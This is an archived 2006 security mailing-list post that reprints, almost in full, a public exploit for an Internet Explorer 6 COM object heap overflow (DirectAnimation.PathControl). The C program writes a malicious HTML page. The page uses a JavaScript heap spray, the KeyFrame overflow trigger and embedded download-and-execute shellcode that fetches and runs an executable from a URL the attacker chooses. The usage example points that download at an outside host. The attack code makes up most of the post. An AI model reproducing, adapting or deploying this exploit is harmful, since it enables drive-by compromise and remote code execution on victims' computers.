

# [EXPL] Internet Explorer COM Object Heap Overflow Download Exec (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-09/msg00017.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 14 Sep 2006 16:04:02 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Internet Explorer COM Object Heap Overflow Download Exec (Exploit)

---

## SUMMARY

A remote code execution vulnerability exists in Internet Explorer.

This exploit will create malformed HTML that will cause IE to download and execute arbitrary code.

## DETAILS

Vulnerable Systems:

- \* Windows 2000 Server SP4 CN, Internet Explorer 6.0 SP1
- \* Windows XP SP2 CN, Internet Explorer 6.0 SP1

Exploit:

/\*

\*-----

\*

\* daxctle2.c – Internet Explorer COM Object Heap Overflow Download Exec

Exploit

\* !!! Oday !!! Public Version !!!

\*

## [EXPL] Internet Explorer COM Object Heap Overflow Download Exec (Exploit)

\* Copyright (C) 2006 XSec All Rights Reserved.

\*

\* Author : nop

\* : nop#xsec.org

\* : <http://www.xsec.org>

\* :

\* Tested : Windows 2000 Server SP4 CN

\* : + Internet Explorer 6.0 SP1

\* : Windows XP SP2 CN

\* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)

\* :

\* Compie : cl daxctle2.c

\* :

\* Usage :d:\>daxctle2

\* :

\* :Usage: daxctle <URL> [htmlfile]

\* :

\* :d:\>daxctle2 <http://xsec.org/xxx.exe> xxx.htm

\* :

\*

\*

\*-----

\*/

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
FILE *fp = NULL;
```

```
char *file = "xsec.htm";
```

```
char *url = NULL;
```

```
// Download Exec Shellcode by nop
```

```
unsigned char sc[] =
```

```
"\xe9\xa3\x00\x00\x00\xf6\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"  
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\x43\x00\x00\x00"  
"\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d\x54\xff\x16\x95"  
"\xe8\x2e\x00\x00\x00\x83\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04"  
"\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33"  
"\xc0\x50\x50\x53\x57\x50\xff\x56\x10\x8b\xdc\x50\x53\xff\x56\x08"  
"\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b"  
"\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10"  
"\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"  
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"  
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x58\xff\xff\xff\x8e\x4e\x0e"  
"\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60\x36\x1a\x2f"  
"\x70";
```

```
char * header =
```

```
"<html>\n"
```

```
"<head>\n"
```

```
"<title>XSec.org</title>\n"
```

```
"</head>\n"
```

## [EXPL] Internet Explorer COM Object Heap Overflow Download Exec (Exploit)

```
"<body>\n"  
"<script>\n"  
"shellcode = unescape(\'"%u4343\'+"\'"%u4343\'+"\'"%u4343\' + \n");  
  
// Change this script by yourself.  
char * footer =  
"bigbk = unescape(\'"%u0D0D%u0D0D\');\n"  
"headersize = 20;\n"  
"slackspace = headersize + shellcode.length\n"  
"while (bigbk.length < slackspace) bigbk += bigbk;\n"  
"fillbk = bigbk.substring(0, slackspace);\n"  
"bk = bigbk.substring(0, bigbk.length-slackspace);\n"  
// bk = nop+nop;-)  
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;\n"  
"memory = new Array();\n"  
"for (i=0;i<800;i++) memory[i] = bk + shellcode;\n"  
"var target = new ActiveXObject(\'"DirectAnimation.PathControl\');\n"  
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));\n"  
"</script>\n"  
"</body>\n"  
"</html>\n";  
  
// print unicode shellcode  
void PrintUc(char *lpBuff, int buffsize)  
{  
int i,j;  
char *p;  
char msg[4];  
  
for(i=0;i<buffsize;i+=2)  
{  
if((i%16)==0)  
{  
if(i!=0)  
{  
printf("\n");  
fprintf(fp, "%s", "\n");  
}  
else  
{  
printf("");  
fprintf(fp, "%s", "");  
}  
}  
  
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);  
  
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);  
}
```

## [EXPL] Internet Explorer COM Object Heap Overflow Download Exec (Exploit)

```
printf("\n");
fprintf(fp, "%s", "\n");

fflush(fp);
}

void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};

int sc_len = 0;

if (argc < 2)
{
printf("Internet Explorer COM Object Remote Heap Overflow
Download Exec Exploit\n");
printf("Code by nop nop#xsec.org, Welcome to
http://www.xsec.org\n");
//printf("!!! ODay !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
exit(1);
}

url = argv[1];

//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) ||
strlen(url) < 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) ||
strlen(url) < 10)
{
//printf("[+] Invalid url. Must start with 'http://','ftp://'
and < 60 bytes.\n");
printf("[+] Invalid url. Must start with
'http://','ftp://'\n");
return;
}

printf("[+] download url:%s\n", url);

if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);

fp = fopen(file, "w");
if(!fp)
{
printf("[+] Open file error!\n");
return;
}
}
```

[EXPL] Internet Explorer COM Object Heap Overflow Download Exec (Exploit)

```
// print html header
fprintf(fp, "%s", header);
fflush(fp);

// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));

sc_len += strlen(url)+1;
PrintUc(buf, sc_len);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!\n", file);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:http://www.milw0rm.com/>>  
milw0rm.

The original article can be found at:  
<<http://www.milw0rm.com/exploits/2358>>  
<http://www.milw0rm.com/exploits/2358>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@xxxxxxxxxxxxxxxx](mailto:list-unsubscribe@xxxxxxxxxxxxxxxx)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@xxxxxxxxxxxxxxxx](mailto:list-subscribe@xxxxxxxxxxxxxxxx)

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,  
loss of business profits or special damages.